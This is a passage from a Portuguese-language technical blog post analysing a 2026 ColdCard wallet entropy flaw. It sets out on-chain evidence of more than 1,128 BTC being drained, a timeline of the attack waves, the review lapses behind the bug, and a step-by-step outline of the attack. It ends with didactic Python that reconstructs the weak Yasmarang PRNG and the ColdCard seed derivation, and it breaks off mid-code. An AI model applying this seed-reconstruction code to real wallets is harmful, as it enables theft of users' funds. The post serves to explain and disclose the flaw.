</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">chave privada (número inteiro): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">endereço: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A chave privada é só um número inteiro. A partir dele, a <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">curva elíptica</a> calcula a chave pública; a chave pública é hasheada até virar o endereço. O endereço é o que aparece na blockchain; o número inteiro é o que permite gastar.</p>
<p>No caso ColdCard, o número inteiro não tinha 128 bits de aleatoriedade real. Tinha ~40. Então, em vez de procurar uma agulha no universo, o atacante procurava uma agulha em uma floresta pequena.</p>
<h2>Evidência real na blockchain<span class="hx:absolute hx:-mt-20" id="evidência-real-na-blockchain"></span>
    <a href="#evid%c3%aancia-real-na-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não estou inventando números. O site independente <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> vem rastreando os drains transação a transação e publica o mínimo verificado: <strong>1.128,6633 BTC</strong> drenados de <strong>2.334 endereços</strong> confirmados. O próprio site deixa claro que esses são <strong>mínimos verificados, não totais</strong> — outras clusters provavelmente existem.</p>
<p>Ele identifica dois episódios de drenagem:</p>
<ul>
<li><strong>30 de julho de 2026</strong>, blocos <strong>960183 a 960191</strong> — 1.195 endereços drenados.</li>
<li><strong>31 de julho de 2026</strong>, blocos <strong>960345 a 960369</strong> — 1.126 endereços drenados.</li>
</ul>
<p>Os principais clusters públicos que compõem esse mínimo incluem:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC</a> em 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">recebeu ~398,476 BTC</a> em uma única transação com 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">recebeu ~89,623 BTC</a> em uma única transação com 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Só esses três clusters já somam ~1.082 BTC; as demais transações verificadas levam o total mínimo para <strong>1.128,6633 BTC</strong>.</p>
<blockquote>
  <p>O primeiro cluster transferiu ~562 BTC para <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; é o mesmo dinheiro, não uma quarta vítima.</p>

</blockquote>
<p>Um exemplo concreto: a transação <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolida três inputs do mesmo endereço vulnerável <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, sendo um deles de quase <strong>29,9 BTC</strong>. Os três inputs usam a mesma chave pública comprimida:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, três UTXOs diferentes, mesmo dono, mesma chave privada. O atacante encontrou essa chave e assinou tudo de uma vez.</p>
<p>Outros endereços de origem com valores expressivos incluem <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24,08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14,43 BTC) e <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11,74 BTC). Você pode clicar em cada um e ver os UTXOs sendo movidos para um endereço de consolidação.</p>
<p>A Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">edição 416</a> estimava perdas acima de 1.000 BTC enquanto o caso se desenrolava; o rastreamento independente agora confirma <strong>pelo menos 1.128,6633 BTC</strong> roubados.</p>
<h2>O que a timeline na blockchain sugere sobre a ordem do ataque<span class="hx:absolute hx:-mt-20" id="o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque"></span>
    <a href="#o-que-a-timeline-na-blockchain-sugere-sobre-a-ordem-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> mostra <strong>dois episódios distintos</strong>, separados por mais de 24 horas. O primeiro aconteceu entre os blocos 960183 e 960191 (30 de julho, por volta de 01:10 UTC); o segundo, entre 960345 e 960369 (31 de julho). Dentro do primeiro episódio, os três grandes clusters (~594, ~398 e ~89 BTC) foram minerados em blocos consecutivos — portanto, dentro de cada onda as varreduras foram disparadas praticamente ao mesmo tempo.</p>
<p>Essa forma de ondas separadas é compatível com duas interpretações:</p>
<ol>
<li><strong>Mesmo atacante, pré-computação em lotes.</strong> A primeira onda pega os alvos mais fáceis e mais bem financiados; a segunda onda vem de um segundo lote de candidatos já pré-computados.</li>
<li><strong>Múltiplos atacantes.</strong> Depois que a falha se tornou pública, outros atores entraram com seus próprios dicionários de estados prováveis.</li>
</ol>
<p>Em qualquer um dos casos, a economia do ataque favorece a ordem da tabela anterior. O Mk2/Mk3 v4 é o melhor custo-benefício:</p>
<ul>
<li><strong>~40 bits efetivos</strong> ≈ 2^40 ≈ <strong>1,1 trilhão</strong> de estados candidatos.</li>
<li>Numa GPU que teste 1 milhão de candidatos por segundo (incluindo derivação BIP32 e consulta ao explorer), levaria cerca de <strong>13 dias</strong> para varrer tudo. Com 100 GPUs/FPGAs, cai para <strong>poucas horas</strong>.</li>
<li>Como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, conforme a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> aponta, o SysTick sozinho reduz o espaço a ~80 mil valores (~16 bits), tornando a busca trivial em segundos.</li>
</ul>
<p>Mk4/Q/Mk5 com reseed depende do quanto o fallback é conhecido:</p>
<ul>
<li>Se o fallback é conhecido, só restam os <strong>32 bits</strong> do secure element: 2^32 ≈ <strong>4,3 bilhões</strong> de candidatos por aparelho, ou cerca de <strong>1,2 hora</strong> por dispositivo a 1 milhão/s.</li>
<li>Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de <strong>4,7 sextilhões</strong> de candidatos — inviável por força bruta pura.</li>
</ul>
<p>Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.</p>
<p>A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.</p>
<h2>O que a chain revela sobre a operação<span class="hx:absolute hx:-mt-20" id="o-que-a-chain-revela-sobre-a-operação"></span>
    <a href="#o-que-a-chain-revela-sobre-a-opera%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O site <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em <strong>41 minutos</strong> (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:</p>
<table>
  <thead>
      <tr>
          <th>Onda</th>
          <th>Bloco(s)</th>
          <th>BTC</th>
          <th>Endereços</th>
          <th>Observação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89,62</td>
          <td>204</td>
          <td>Levou tudo, inclusive poeira abaixo do valor da taxa.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398,49</td>
          <td>491</td>
          <td>Ataque mais denso; deixou saldos abaixo de ~0,108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594,48</td>
          <td>500</td>
          <td>A onda que a imprensa noticiou; começou 3,5 minutos depois da 2.</td>
      </tr>
  </tbody>
</table>
<p>Detalhes que saltam aos olhos:</p>
<ul>
<li><strong>Ordem por saldo:</strong> dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.</li>
<li><strong>Formato idêntico:</strong> todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.</li>
<li><strong>Taxa uniforme:</strong> mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.</li>
<li><strong>Tipos de endereço:</strong> 1.182 eram SegWit nativo (<code>v0_p2wpkh</code>), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.</li>
<li><strong>Fundos parados:</strong> até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.</li>
</ul>
<p>Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.</p>
<h2>Como isso passou despercebido<span class="hx:absolute hx:-mt-20" id="como-isso-passou-despercebido"></span>
    <a href="#como-isso-passou-despercebido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O mesmo <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> mapeia os commits que introduziram o bug. Os fatos mais graves:</p>
<ul>
<li>O commit que adicionou a guarda <code>#ifndef</code> errada no <code>libngu</code> teve uma mensagem de <strong>um caractere</strong>, alterou 28 arquivos e <strong>não passou por pull request</strong>.</li>
<li>O commit <code>First pass w/ libNgU</code>, que migrou a geração de seeds para o libngu e removeu código GPL, alterou <strong>120 arquivos</strong> e também foi empurrado diretamente, sem PR.</li>
<li>Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas <strong>foram mergeados com zero reviews</strong>.</li>
</ul>
<p>Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.</p>
<h2>O passo a passo conceitual do ataque<span class="hx:absolute hx:-mt-20" id="o-passo-a-passo-conceitual-do-ataque"></span>
    <a href="#o-passo-a-passo-conceitual-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes do código, o fluxo geral:</p>
<ol>
<li><strong>Reproduzir o RNG.</strong> O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do <code>libNgU</code>.</li>
<li><strong>Enumerar estados plausíveis.</strong> Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.</li>
<li><strong>Derivar a wallet.</strong> A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.</li>
<li><strong>Consultar a blockchain.</strong> Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.</li>
<li><strong>Parar no match.</strong> Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.</li>
<li><strong>Gastar.</strong> Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.</li>
</ol>
<p>A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.</p>
<h2>Código de prova de conceito<span class="hx:absolute hx:-mt-20" id="código-de-prova-de-conceito"></span>
    <a href="#c%c3%b3digo-de-prova-de-conceito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.</p>
<h3>1. O PRNG quebrado: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-o-prng-quebrado-yasmarang"></span>
    <a href="#1-o-prng-quebrado-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; muta a lista e devolve um uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">código fonte do MicroPython</a>.</p>
<p><strong>Exemplo de estado:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Do estado do RNG para entropia da ColdCard<span class="hx:absolute hx:-mt-20" id="2-do-estado-do-rng-para-entropia-da-coldcard"></span>
    <a href="#2-do-estado-do-rng-para-entropia-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython inicializa seu Yasmarang com:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU mantém um segundo Yasmarang com constantes públicas.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Nos Mk4/Q/Mk5, o reseed altera o &#39;pad&#39; do estado do libNgU.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() no firmware só sobrescreve yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># A ColdCard pode fazer chamadas extras antes de gerar a seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). Na prática o atacante modela o histórico exato de</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># chamadas. Aqui simplificamos para 8 palavras = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> monta o estado inicial. O <code>pad</code> do MicroPython é <code>UID_low32 ^ SysTick</code>; <code>n</code> e <code>d</code> vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
